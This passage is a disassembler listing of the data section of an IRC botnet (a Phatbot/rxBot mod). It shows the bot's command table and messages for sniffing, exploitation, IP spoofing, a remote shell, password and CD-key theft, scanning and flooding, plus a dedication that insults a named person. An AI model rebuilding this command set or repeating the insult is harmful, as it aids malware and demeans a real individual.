		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E8	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B124	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42B154	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B17C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1A8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B1E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 10h
dword_42B220	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 10h
dword_42B250	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 10h
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 10h
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C4Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 10h
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 10h
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 10h
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C34o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C54o
		unicode	0, <n>,0
unk_42B350	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3B0	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3C8	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B3E0	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B428	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B450	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B454	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B460	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B468	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 10h
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 10h
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 10h
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B4D8	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B4EC	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B4F0	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B500	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B504	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B508	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 10h
unk_42B570	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 10h
unk_42B5B0	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 10h
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B5E8	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42B614	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 4
unk_42B654	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B690	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6BC	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B6E8	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B6F8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7A8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42B7E4	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B818	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B858	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42B884	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 10h
dword_42B8C0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B8E8	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B8F8	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B904	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B914	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B924	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B958	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9A8	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42B9D4	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42B9EC	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA28	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA48	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA4C	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA64	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BA9C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAB4	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BAD0	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BAEC	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB08	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BB44	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB68	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BB88	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBA8	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBC0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 10h
unk_42BBE0	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC08	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42BC34	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC50	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC68	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42BC94	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCB8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42BCE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
unk_42BD10	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42BD34	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BD70	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDAC	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BDE8	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE24	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BE60	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42BE94	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42BEB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BEEC	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF28	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFA8	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42BFE8	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C024	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 10h
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 10h
aScanall	db 'scanall',0          ; DATA XREF: sub_401ACD+1BE7o
dword_42C098	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C140	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C174	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A8	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1BC	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1C0	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1CC	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 10h
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
